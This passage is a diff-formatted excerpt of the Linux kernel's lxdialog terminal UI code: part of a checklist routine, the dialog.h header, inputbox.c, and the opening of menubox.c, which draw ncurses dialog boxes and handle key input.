||||
dlg.dialog.atr, dlg.border.atr);
|
||||
wattrset(dialog, dlg.border.atr);
|
||||
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
|
||||
for (i = 0; i < width - 2; i++)
|
||||
waddch(dialog, ACS_HLINE);
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
waddch(dialog, ACS_RTEE);
|
||||
|
||||
print_title(dialog, title, width);
|
||||
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
print_autowrap(dialog, prompt, width - 2, 1, 3);
|
||||
|
||||
list_width = width - 6;
|
||||
box_y = height - list_height - 5;
|
||||
box_x = (width - list_width) / 2 - 1;
|
||||
|
||||
/* create new window for the list */
|
||||
list = subwin(dialog, list_height, list_width, y + box_y + 1,
|
||||
x + box_x + 1);
|
||||
|
||||
keypad(list, TRUE);
|
||||
|
||||
/* draw a box around the list items */
|
||||
draw_box(dialog, box_y, box_x, list_height + 2, list_width + 2,
|
||||
dlg.menubox_border.atr, dlg.menubox.atr);
|
||||
|
||||
/* Find length of longest item in order to center checklist */
|
||||
check_x = 0;
|
||||
item_foreach()
|
||||
check_x = MAX(check_x, strlen(item_str()) + 4);
|
||||
check_x = MIN(check_x, list_width);
|
||||
|
||||
check_x = (list_width - check_x) / 2;
|
||||
item_x = check_x + 4;
|
||||
|
||||
if (choice >= list_height) {
|
||||
scroll = choice - list_height + 1;
|
||||
choice -= scroll;
|
||||
}
|
||||
|
||||
/* Print the list */
|
||||
for (i = 0; i < max_choice; i++) {
|
||||
item_set(scroll + i);
|
||||
print_item(list, i, i == choice);
|
||||
}
|
||||
|
||||
print_arrows(dialog, choice, item_count(), scroll,
|
||||
box_y, box_x + check_x + 5, list_height);
|
||||
|
||||
print_buttons(dialog, height, width, 0);
|
||||
|
||||
wnoutrefresh(dialog);
|
||||
wnoutrefresh(list);
|
||||
doupdate();
|
||||
|
||||
while (key != KEY_ESC) {
|
||||
key = wgetch(dialog);
|
||||
|
||||
for (i = 0; i < max_choice; i++) {
|
||||
item_set(i + scroll);
|
||||
if (toupper(key) == toupper(item_str()[0]))
|
||||
break;
|
||||
}
|
||||
|
||||
if (i < max_choice || key == KEY_UP || key == KEY_DOWN ||
|
||||
key == '+' || key == '-') {
|
||||
if (key == KEY_UP || key == '-') {
|
||||
if (!choice) {
|
||||
if (!scroll)
|
||||
continue;
|
||||
/* Scroll list down */
|
||||
if (list_height > 1) {
|
||||
/* De-highlight current first item */
|
||||
item_set(scroll);
|
||||
print_item(list, 0, FALSE);
|
||||
scrollok(list, TRUE);
|
||||
wscrl(list, -1);
|
||||
scrollok(list, FALSE);
|
||||
}
|
||||
scroll--;
|
||||
item_set(scroll);
|
||||
print_item(list, 0, TRUE);
|
||||
print_arrows(dialog, choice, item_count(),
|
||||
scroll, box_y, box_x + check_x + 5, list_height);
|
||||
|
||||
wnoutrefresh(dialog);
|
||||
wrefresh(list);
|
||||
|
||||
continue; /* wait for another key press */
|
||||
} else
|
||||
i = choice - 1;
|
||||
} else if (key == KEY_DOWN || key == '+') {
|
||||
if (choice == max_choice - 1) {
|
||||
if (scroll + choice >= item_count() - 1)
|
||||
continue;
|
||||
/* Scroll list up */
|
||||
if (list_height > 1) {
|
||||
/* De-highlight current last item before scrolling up */
|
||||
item_set(scroll + max_choice - 1);
|
||||
print_item(list,
|
||||
max_choice - 1,
|
||||
FALSE);
|
||||
scrollok(list, TRUE);
|
||||
wscrl(list, 1);
|
||||
scrollok(list, FALSE);
|
||||
}
|
||||
scroll++;
|
||||
item_set(scroll + max_choice - 1);
|
||||
print_item(list, max_choice - 1, TRUE);
|
||||
|
||||
print_arrows(dialog, choice, item_count(),
|
||||
scroll, box_y, box_x + check_x + 5, list_height);
|
||||
|
||||
wnoutrefresh(dialog);
|
||||
wrefresh(list);
|
||||
|
||||
continue; /* wait for another key press */
|
||||
} else
|
||||
i = choice + 1;
|
||||
}
|
||||
if (i != choice) {
|
||||
/* De-highlight current item */
|
||||
item_set(scroll + choice);
|
||||
print_item(list, choice, FALSE);
|
||||
/* Highlight new item */
|
||||
choice = i;
|
||||
item_set(scroll + choice);
|
||||
print_item(list, choice, TRUE);
|
||||
wnoutrefresh(dialog);
|
||||
wrefresh(list);
|
||||
}
|
||||
continue; /* wait for another key press */
|
||||
}
|
||||
switch (key) {
|
||||
case 'H':
|
||||
case 'h':
|
||||
case '?':
|
||||
button = 1;
|
||||
/* fall-through */
|
||||
case 'S':
|
||||
case 's':
|
||||
case ' ':
|
||||
case '\n':
|
||||
item_foreach()
|
||||
item_set_selected(0);
|
||||
item_set(scroll + choice);
|
||||
item_set_selected(1);
|
||||
delwin(list);
|
||||
delwin(dialog);
|
||||
return button;
|
||||
case TAB:
|
||||
case KEY_LEFT:
|
||||
case KEY_RIGHT:
|
||||
button = ((key == KEY_LEFT ? --button : ++button) < 0)
|
||||
? 1 : (button > 1 ? 0 : button);
|
||||
|
||||
print_buttons(dialog, height, width, button);
|
||||
wrefresh(dialog);
|
||||
break;
|
||||
case 'X':
|
||||
case 'x':
|
||||
key = KEY_ESC;
|
||||
break;
|
||||
case KEY_ESC:
|
||||
key = on_key_esc(dialog);
|
||||
break;
|
||||
case KEY_RESIZE:
|
||||
delwin(list);
|
||||
delwin(dialog);
|
||||
on_key_resize();
|
||||
goto do_resize;
|
||||
}
|
||||
|
||||
/* Now, update everything... */
|
||||
doupdate();
|
||||
}
|
||||
delwin(list);
|
||||
delwin(dialog);
|
||||
return key; /* ESC pressed */
|
||||
}
|
@ -0,0 +1,257 @@
|
||||
/*
|
||||
* dialog.h -- common declarations for all dialog modules
|
||||
*
|
||||
* AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <ctype.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifndef KBUILD_NO_NLS
|
||||
# include <libintl.h>
|
||||
#else
|
||||
# define gettext(Msgid) ((const char *) (Msgid))
|
||||
#endif
|
||||
|
||||
#ifdef __sun__
|
||||
#define CURS_MACROS
|
||||
#endif
|
||||
#include CURSES_LOC
|
||||
|
||||
/*
|
||||
* Colors in ncurses 1.9.9e do not work properly since foreground and
|
||||
* background colors are OR'd rather than separately masked. This version
|
||||
* of dialog was hacked to work with ncurses 1.9.9e, making it incompatible
|
||||
* with standard curses. The simplest fix (to make this work with standard
|
||||
* curses) uses the wbkgdset() function, not used in the original hack.
|
||||
* Turn it off if we're building with 1.9.9e, since it just confuses things.
|
||||
*/
|
||||
#if defined(NCURSES_VERSION) && defined(_NEED_WRAP) && !defined(GCC_PRINTFLIKE)
|
||||
#define OLD_NCURSES 1
|
||||
#undef wbkgdset
|
||||
#define wbkgdset(w,p) /*nothing */
|
||||
#else
|
||||
#define OLD_NCURSES 0
|
||||
#endif
|
||||
|
||||
#define TR(params) _tracef params
|
||||
|
||||
#define KEY_ESC 27
|
||||
#define TAB 9
|
||||
#define MAX_LEN 2048
|
||||
#define BUF_SIZE (10*1024)
|
||||
#define MIN(x,y) (x < y ? x : y)
|
||||
#define MAX(x,y) (x > y ? x : y)
|
||||
|
||||
#ifndef ACS_ULCORNER
|
||||
#define ACS_ULCORNER '+'
|
||||
#endif
|
||||
#ifndef ACS_LLCORNER
|
||||
#define ACS_LLCORNER '+'
|
||||
#endif
|
||||
#ifndef ACS_URCORNER
|
||||
#define ACS_URCORNER '+'
|
||||
#endif
|
||||
#ifndef ACS_LRCORNER
|
||||
#define ACS_LRCORNER '+'
|
||||
#endif
|
||||
#ifndef ACS_HLINE
|
||||
#define ACS_HLINE '-'
|
||||
#endif
|
||||
#ifndef ACS_VLINE
|
||||
#define ACS_VLINE '|'
|
||||
#endif
|
||||
#ifndef ACS_LTEE
|
||||
#define ACS_LTEE '+'
|
||||
#endif
|
||||
#ifndef ACS_RTEE
|
||||
#define ACS_RTEE '+'
|
||||
#endif
|
||||
#ifndef ACS_UARROW
|
||||
#define ACS_UARROW '^'
|
||||
#endif
|
||||
#ifndef ACS_DARROW
|
||||
#define ACS_DARROW 'v'
|
||||
#endif
|
||||
|
||||
/* error return codes */
|
||||
#define ERRDISPLAYTOOSMALL (KEY_MAX + 1)
|
||||
|
||||
/*
|
||||
* Color definitions
|
||||
*/
|
||||
struct dialog_color {
|
||||
chtype atr; /* Color attribute */
|
||||
int fg; /* foreground */
|
||||
int bg; /* background */
|
||||
int hl; /* highlight this item */
|
||||
};
|
||||
|
||||
struct subtitle_list {
|
||||
struct subtitle_list *next;
|
||||
const char *text;
|
||||
};
|
||||
|
||||
struct dialog_info {
|
||||
const char *backtitle;
|
||||
struct subtitle_list *subtitles;
|
||||
struct dialog_color screen;
|
||||
struct dialog_color shadow;
|
||||
struct dialog_color dialog;
|
||||
struct dialog_color title;
|
||||
struct dialog_color border;
|
||||
struct dialog_color button_active;
|
||||
struct dialog_color button_inactive;
|
||||
struct dialog_color button_key_active;
|
||||
struct dialog_color button_key_inactive;
|
||||
struct dialog_color button_label_active;
|
||||
struct dialog_color button_label_inactive;
|
||||
struct dialog_color inputbox;
|
||||
struct dialog_color inputbox_border;
|
||||
struct dialog_color searchbox;
|
||||
struct dialog_color searchbox_title;
|
||||
struct dialog_color searchbox_border;
|
||||
struct dialog_color position_indicator;
|
||||
struct dialog_color menubox;
|
||||
struct dialog_color menubox_border;
|
||||
struct dialog_color item;
|
||||
struct dialog_color item_selected;
|
||||
struct dialog_color tag;
|
||||
struct dialog_color tag_selected;
|
||||
struct dialog_color tag_key;
|
||||
struct dialog_color tag_key_selected;
|
||||
struct dialog_color check;
|
||||
struct dialog_color check_selected;
|
||||
struct dialog_color uarrow;
|
||||
struct dialog_color darrow;
|
||||
};
|
||||
|
||||
/*
|
||||
* Global variables
|
||||
*/
|
||||
extern struct dialog_info dlg;
|
||||
extern char dialog_input_result[];
|
||||
extern int saved_x, saved_y; /* Needed in signal handler in mconf.c */
|
||||
|
||||
/*
|
||||
* Function prototypes
|
||||
*/
|
||||
|
||||
/* item list as used by checklist and menubox */
|
||||
void item_reset(void);
|
||||
void item_make(const char *fmt, ...);
|
||||
void item_add_str(const char *fmt, ...);
|
||||
void item_set_tag(char tag);
|
||||
void item_set_data(void *p);
|
||||
void item_set_selected(int val);
|
||||
int item_activate_selected(void);
|
||||
void *item_data(void);
|
||||
char item_tag(void);
|
||||
|
||||
/* item list manipulation for lxdialog use */
|
||||
#define MAXITEMSTR 200
|
||||
struct dialog_item {
|
||||
char str[MAXITEMSTR]; /* promtp displayed */
|
||||
char tag;
|
||||
void *data; /* pointer to menu item - used by menubox+checklist */
|
||||
int selected; /* Set to 1 by dialog_*() function if selected. */
|
||||
};
|
||||
|
||||
/* list of lialog_items */
|
||||
struct dialog_list {
|
||||
struct dialog_item node;
|
||||
struct dialog_list *next;
|
||||
};
|
||||
|
||||
extern struct dialog_list *item_cur;
|
||||
extern struct dialog_list item_nil;
|
||||
extern struct dialog_list *item_head;
|
||||
|
||||
int item_count(void);
|
||||
void item_set(int n);
|
||||
int item_n(void);
|
||||
const char *item_str(void);
|
||||
int item_is_selected(void);
|
||||
int item_is_tag(char tag);
|
||||
#define item_foreach() \
|
||||
for (item_cur = item_head ? item_head: item_cur; \
|
||||
item_cur && (item_cur != &item_nil); item_cur = item_cur->next)
|
||||
|
||||
/* generic key handlers */
|
||||
int on_key_esc(WINDOW *win);
|
||||
int on_key_resize(void);
|
||||
|
||||
/* minimum (re)size values */
|
||||
#define CHECKLIST_HEIGTH_MIN 6 /* For dialog_checklist() */
|
||||
#define CHECKLIST_WIDTH_MIN 6
|
||||
#define INPUTBOX_HEIGTH_MIN 2 /* For dialog_inputbox() */
|
||||
#define INPUTBOX_WIDTH_MIN 2
|
||||
#define MENUBOX_HEIGTH_MIN 15 /* For dialog_menu() */
|
||||
#define MENUBOX_WIDTH_MIN 65
|
||||
#define TEXTBOX_HEIGTH_MIN 8 /* For dialog_textbox() */
|
||||
#define TEXTBOX_WIDTH_MIN 8
|
||||
#define YESNO_HEIGTH_MIN 4 /* For dialog_yesno() */
|
||||
#define YESNO_WIDTH_MIN 4
|
||||
#define WINDOW_HEIGTH_MIN 19 /* For init_dialog() */
|
||||
#define WINDOW_WIDTH_MIN 80
|
||||
|
||||
int init_dialog(const char *backtitle);
|
||||
void set_dialog_backtitle(const char *backtitle);
|
||||
void set_dialog_subtitles(struct subtitle_list *subtitles);
|
||||
void end_dialog(int x, int y);
|
||||
void attr_clear(WINDOW * win, int height, int width, chtype attr);
|
||||
void dialog_clear(void);
|
||||
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x);
|
||||
void print_button(WINDOW * win, const char *label, int y, int x, int selected);
|
||||
void print_title(WINDOW *dialog, const char *title, int width);
|
||||
void draw_box(WINDOW * win, int y, int x, int height, int width, chtype box,
|
||||
chtype border);
|
||||
void draw_shadow(WINDOW * win, int y, int x, int height, int width);
|
||||
|
||||
int first_alpha(const char *string, const char *exempt);
|
||||
int dialog_yesno(const char *title, const char *prompt, int height, int width);
|
||||
int dialog_msgbox(const char *title, const char *prompt, int height,
|
||||
int width, int pause);
|
||||
|
||||
|
||||
typedef void (*update_text_fn)(char *buf, size_t start, size_t end, void
|
||||
*_data);
|
||||
int dialog_textbox(const char *title, char *tbuf, int initial_height,
|
||||
int initial_width, int *keys, int *_vscroll, int *_hscroll,
|
||||
update_text_fn update_text, void *data);
|
||||
int dialog_menu(const char *title, const char *prompt,
|
||||
const void *selected, int *s_scroll);
|
||||
int dialog_checklist(const char *title, const char *prompt, int height,
|
||||
int width, int list_height);
|
||||
int dialog_inputbox(const char *title, const char *prompt, int height,
|
||||
int width, const char *init);
|
||||
|
||||
/*
|
||||
* This is the base for fictitious keys, which activate
|
||||
* the buttons.
|
||||
*
|
||||
* Mouse-generated keys are the following:
|
||||
* -- the first 32 are used as numbers, in addition to '0'-'9'
|
||||
* -- the lowercase are used to signal mouse-enter events (M_EVENT + 'o')
|
||||
* -- uppercase chars are used to invoke the button (M_EVENT + 'O')
|
||||
*/
|
||||
#define M_EVENT (KEY_MAX+1)
|
@ -0,0 +1,301 @@
|
||||
/*
|
||||
* inputbox.c -- implements the input box
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
char dialog_input_result[MAX_LEN + 1];
|
||||
|
||||
/*
|
||||
* Print the termination buttons
|
||||
*/
|
||||
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
|
||||
{
|
||||
int x = width / 2 - 11;
|
||||
int y = height - 2;
|
||||
|
||||
print_button(dialog, gettext(" Ok "), y, x, selected == 0);
|
||||
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
|
||||
|
||||
wmove(dialog, y, x + 1 + 14 * selected);
|
||||
wrefresh(dialog);
|
||||
}
|
||||
|
||||
/*
|
||||
* Display a dialog box for inputing a string
|
||||
*/
|
||||
int dialog_inputbox(const char *title, const char *prompt, int height, int width,
|
||||
const char *init)
|
||||
{
|
||||
int i, x, y, box_y, box_x, box_width;
|
||||
int input_x = 0, key = 0, button = -1;
|
||||
int show_x, len, pos;
|
||||
char *instr = dialog_input_result;
|
||||
WINDOW *dialog;
|
||||
|
||||
if (!init)
|
||||
instr[0] = '\0';
|
||||
else
|
||||
strcpy(instr, init);
|
||||
|
||||
do_resize:
|
||||
if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
|
||||
/* center dialog box on screen */
|
||||
x = (getmaxx(stdscr) - width) / 2;
|
||||
y = (getmaxy(stdscr) - height) / 2;
|
||||
|
||||
draw_shadow(stdscr, y, x, height, width);
|
||||
|
||||
dialog = newwin(height, width, y, x);
|
||||
keypad(dialog, TRUE);
|
||||
|
||||
draw_box(dialog, 0, 0, height, width,
|
||||
dlg.dialog.atr, dlg.border.atr);
|
||||
wattrset(dialog, dlg.border.atr);
|
||||
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
|
||||
for (i = 0; i < width - 2; i++)
|
||||
waddch(dialog, ACS_HLINE);
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
waddch(dialog, ACS_RTEE);
|
||||
|
||||
print_title(dialog, title, width);
|
||||
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
print_autowrap(dialog, prompt, width - 2, 1, 3);
|
||||
|
||||
/* Draw the input field box */
|
||||
box_width = width - 6;
|
||||
getyx(dialog, y, x);
|
||||
box_y = y + 2;
|
||||
box_x = (width - box_width) / 2;
|
||||
draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
|
||||
dlg.dialog.atr, dlg.border.atr);
|
||||
|
||||
print_buttons(dialog, height, width, 0);
|
||||
|
||||
/* Set up the initial value */
|
||||
wmove(dialog, box_y, box_x);
|
||||
wattrset(dialog, dlg.inputbox.atr);
|
||||
|
||||
len = strlen(instr);
|
||||
pos = len;
|
||||
|
||||
if (len >= box_width) {
|
||||
show_x = len - box_width + 1;
|
||||
input_x = box_width - 1;
|
||||
for (i = 0; i < box_width - 1; i++)
|
||||
waddch(dialog, instr[show_x + i]);
|
||||
} else {
|
||||
show_x = 0;
|
||||
input_x = len;
|
||||
waddstr(dialog, instr);
|
||||
}
|
||||
|
||||
wmove(dialog, box_y, box_x + input_x);
|
||||
|
||||
wrefresh(dialog);
|
||||
|
||||
while (key != KEY_ESC) {
|
||||
key = wgetch(dialog);
|
||||
|
||||
if (button == -1) { /* Input box selected */
|
||||
switch (key) {
|
||||
case TAB:
|
||||
case KEY_UP:
|
||||
case KEY_DOWN:
|
||||
break;
|
||||
case KEY_BACKSPACE:
|
||||
case 127:
|
||||
if (pos) {
|
||||
wattrset(dialog, dlg.inputbox.atr);
|
||||
if (input_x == 0) {
|
||||
show_x--;
|
||||
} else
|
||||
input_x--;
|
||||
|
||||
if (pos < len) {
|
||||
for (i = pos - 1; i < len; i++) {
|
||||
instr[i] = instr[i+1];
|
||||
}
|
||||
}
|
||||
|
||||
pos--;
|
||||
len--;
|
||||
instr[len] = '\0';
|
||||
wmove(dialog, box_y, box_x);
|
||||
for (i = 0; i < box_width; i++) {
|
||||
if (!instr[show_x + i]) {
|
||||
waddch(dialog, ' ');
|
||||
break;
|
||||
}
|
||||
waddch(dialog, instr[show_x + i]);
|
||||
}
|
||||
wmove(dialog, box_y, input_x + box_x);
|
||||
wrefresh(dialog);
|
||||
}
|
||||
continue;
|
||||
case KEY_LEFT:
|
||||
if (pos > 0) {
|
||||
if (input_x > 0) {
|
||||
wmove(dialog, box_y, --input_x + box_x);
|
||||
} else if (input_x == 0) {
|
||||
show_x--;
|
||||
wmove(dialog, box_y, box_x);
|
||||
for (i = 0; i < box_width; i++) {
|
||||
if (!instr[show_x + i]) {
|
||||
waddch(dialog, ' ');
|
||||
break;
|
||||
}
|
||||
waddch(dialog, instr[show_x + i]);
|
||||
}
|
||||
wmove(dialog, box_y, box_x);
|
||||
}
|
||||
pos--;
|
||||
}
|
||||
continue;
|
||||
case KEY_RIGHT:
|
||||
if (pos < len) {
|
||||
if (input_x < box_width - 1) {
|
||||
wmove(dialog, box_y, ++input_x + box_x);
|
||||
} else if (input_x == box_width - 1) {
|
||||
show_x++;
|
||||
wmove(dialog, box_y, box_x);
|
||||
for (i = 0; i < box_width; i++) {
|
||||
if (!instr[show_x + i]) {
|
||||
waddch(dialog, ' ');
|
||||
break;
|
||||
}
|
||||
waddch(dialog, instr[show_x + i]);
|
||||
}
|
||||
wmove(dialog, box_y, input_x + box_x);
|
||||
}
|
||||
pos++;
|
||||
}
|
||||
continue;
|
||||
default:
|
||||
if (key < 0x100 && isprint(key)) {
|
||||
if (len < MAX_LEN) {
|
||||
wattrset(dialog, dlg.inputbox.atr);
|
||||
if (pos < len) {
|
||||
for (i = len; i > pos; i--)
|
||||
instr[i] = instr[i-1];
|
||||
instr[pos] = key;
|
||||
} else {
|
||||
instr[len] = key;
|
||||
}
|
||||
pos++;
|
||||
len++;
|
||||
instr[len] = '\0';
|
||||
|
||||
if (input_x == box_width - 1) {
|
||||
show_x++;
|
||||
} else {
|
||||
input_x++;
|
||||
}
|
||||
|
||||
wmove(dialog, box_y, box_x);
|
||||
for (i = 0; i < box_width; i++) {
|
||||
if (!instr[show_x + i]) {
|
||||
waddch(dialog, ' ');
|
||||
break;
|
||||
}
|
||||
waddch(dialog, instr[show_x + i]);
|
||||
}
|
||||
wmove(dialog, box_y, input_x + box_x);
|
||||
wrefresh(dialog);
|
||||
} else
|
||||
flash(); /* Alarm user about overflow */
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
switch (key) {
|
||||
case 'O':
|
||||
case 'o':
|
||||
delwin(dialog);
|
||||
return 0;
|
||||
case 'H':
|
||||
case 'h':
|
||||
delwin(dialog);
|
||||
return 1;
|
||||
case KEY_UP:
|
||||
case KEY_LEFT:
|
||||
switch (button) {
|
||||
case -1:
|
||||
button = 1; /* Indicates "Help" button is selected */
|
||||
print_buttons(dialog, height, width, 1);
|
||||
break;
|
||||
case 0:
|
||||
button = -1; /* Indicates input box is selected */
|
||||
print_buttons(dialog, height, width, 0);
|
||||
wmove(dialog, box_y, box_x + input_x);
|
||||
wrefresh(dialog);
|
||||
break;
|
||||
case 1:
|
||||
button = 0; /* Indicates "OK" button is selected */
|
||||
print_buttons(dialog, height, width, 0);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case TAB:
|
||||
case KEY_DOWN:
|
||||
case KEY_RIGHT:
|
||||
switch (button) {
|
||||
case -1:
|
||||
button = 0; /* Indicates "OK" button is selected */
|
||||
print_buttons(dialog, height, width, 0);
|
||||
break;
|
||||
case 0:
|
||||
button = 1; /* Indicates "Help" button is selected */
|
||||
print_buttons(dialog, height, width, 1);
|
||||
break;
|
||||
case 1:
|
||||
button = -1; /* Indicates input box is selected */
|
||||
print_buttons(dialog, height, width, 0);
|
||||
wmove(dialog, box_y, box_x + input_x);
|
||||
wrefresh(dialog);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case ' ':
|
||||
case '\n':
|
||||
delwin(dialog);
|
||||
return (button == -1 ? 0 : button);
|
||||
case 'X':
|
||||
case 'x':
|
||||
key = KEY_ESC;
|
||||
break;
|
||||
case KEY_ESC:
|
||||
key = on_key_esc(dialog);
|
||||
break;
|
||||
case KEY_RESIZE:
|
||||
delwin(dialog);
|
||||
on_key_resize();
|
||||
goto do_resize;
|
||||
}
|
||||
}
|
||||
|
||||
delwin(dialog);
|
||||
return KEY_ESC; /* ESC pressed */
|
||||
}
|
@ -0,0 +1,437 @@
|
||||
/*
|
||||
* menubox.c -- implements the menu box
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcapw@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Changes by Clifford Wolf (god@clifford.at)
|
||||
*
|
||||
* [ 1998-06-13 ]
|
||||
*
|
||||
* *) A bugfix for the Page-Down problem
|
||||
*
|
||||
* *) Formerly when I used Page Down and Page Up, the cursor would be set
|
||||
* to the first position in the menu box. Now lxdialog is a bit
|
||||
* smarter and works more like other menu systems (just have a look at
|
||||
* it).
|
||||
*
|
||||
* *) Formerly if I selected something my scrolling would be broken because
|
||||
* lxdialog is re-invoked by the Menuconfig shell script, can't
|
||||
* remember the last scrolling position, and just sets it so that the
|
||||
* cursor is at the bottom of the box. Now it writes the temporary file
|
||||
* lxdialog.scrltmp which contains this information. The file is
|
||||
* deleted by lxdialog if the user leaves a submenu or enters a new
|
||||
* one, but it would be nice if Menuconfig could make another "rm -f"
|
||||
* just to be sure. Just try it out - you will recognise a difference!
|
||||
*
|
||||
* [ 1998-06-14 ]
|
||||
*
|
||||
* *) Now lxdialog is crash-safe against broken "lxdialog.scrltmp" files
|
||||
* and menus change their size on the fly.
|
||||
*
|
||||
* *) If for some reason the last scrolling position is not saved by
|
||||
* lxdialog, it sets the scrolling so that the selected item is in the
|
||||
* middle of the menu box, not at the bottom.
|
||||
*
|
||||
* 02 January 1999, Michael Elizabeth Chastain (mec@shout.net)
|
||||
* Reset 'scroll' to 0 if the value from lxdialog.scrltmp is bogus.
|
||||
* This fixes a bug in Menuconfig where using ' ' to descend into menus
|
||||
* would leave mis-synchronized lxdialog.scrltmp files lying around,
|
||||
* fscanf would read in 'scroll', and eventually that value would get used.
|
||||
*/
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
static int menu_width, item_x;
|
||||
|
||||
/*
|
||||
* Print menu item
|
||||
*/
|
||||
static void do_print_item(WINDOW * win, const char *item, int line_y,
|
||||
int selected, int hotkey)
|
||||
{
|
||||
int j;
|
||||
char *menu_item = malloc(menu_width + 1);
|
||||
|
||||
strncpy(menu_item, item, menu_width - item_x);
|
||||
menu_item[menu_width - item_x] = '\0';
|
||||
j = first_alpha(menu_item, "YyNnMmHh");
|
||||
|
||||
/* Clear 'residue' of last item */
|
||||
wattrset(win, dlg.menubox.atr);
|
||||
wmove(win, line_y, 0);
|
||||
#if OLD_NCURSES
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < menu_width; i++)
|
||||
waddch(win, ' ');
|
||||
}
|
||||
#else
|
||||
wclrtoeol(win);
|
||||
#endif
|
||||
wattrset(win, selected ? dlg.item_selected.atr : dlg.item.atr);
|
||||
mvwaddstr(win, line_y, item_x, menu_item);
|
||||
if (hotkey) {
|
||||
wattrset(win, selected ? dlg.tag_key_selected.atr
|
||||
: dlg.tag_key.atr);
|
||||
mvwaddch(win, line_y, item_x + j, menu_item[j]);
|
||||
}
|
||||
if (selected) {
|
||||
wmove(win, line_y, item_x + 1);
|
||||
}
|
||||
free(menu_item);
|
||||
wrefresh(win);
|
||||
}
|
||||
|
||||
#define print_item(index, choice, selected) \
|
||||
do { \
|
||||
item_set(index); \
|
||||
do_print_item(menu, item_str(), choice, selected, !item_is_tag(':')); \
|
||||
} while (0)
|
||||
|
||||
/*
|
||||
* Print the scroll indicators.
|
||||
*/
|
||||
static void print_arrows(WINDOW * win, int item_no, int scroll, int y, int x,
|
||||
int height)
|
||||
{
|
||||
int cur_y, cur_x;
|
||||
|
||||
getyx(win, cur_y, cur_x);
|
||||
|
||||
wmove(win, y, x);
|
||||
|
||||
if (scroll > 0) {
|
||||
wattrset(win, dlg.uarrow.atr);
|
||||
waddch(win, ACS_UARROW);
|
||||
waddstr(win, "(-)");
|
||||
} else {
|
||||
wattrset(win, dlg.menubox.atr);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
}
|
||||
|
||||
y = y + height + 1;
|
||||
wmove(win, y, x);
|
||||
wrefresh(win);
|
||||
|
||||
if ((height < item_no) && (scroll + height < item_no)) {
|
||||
wattrset(win, dlg.darrow.atr);
|
||||
waddch(win, ACS_DARROW);
|
||||
waddstr(win, "(+)");
|
||||
} else {
|
||||
wattrset(win, dlg.menubox_border.atr);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
waddch(win, ACS_HLINE);
|
||||
}
|
||||
|
||||
wmove(win, cur_y, cur_x);
|
||||
wrefresh(win);
|
||||
}
|
||||
|
||||
/*
|
||||
* Display the termination buttons.
|
||||
*/
|
||||
static void print_buttons(WINDOW * win, int height, int width, int selected)
|
||||
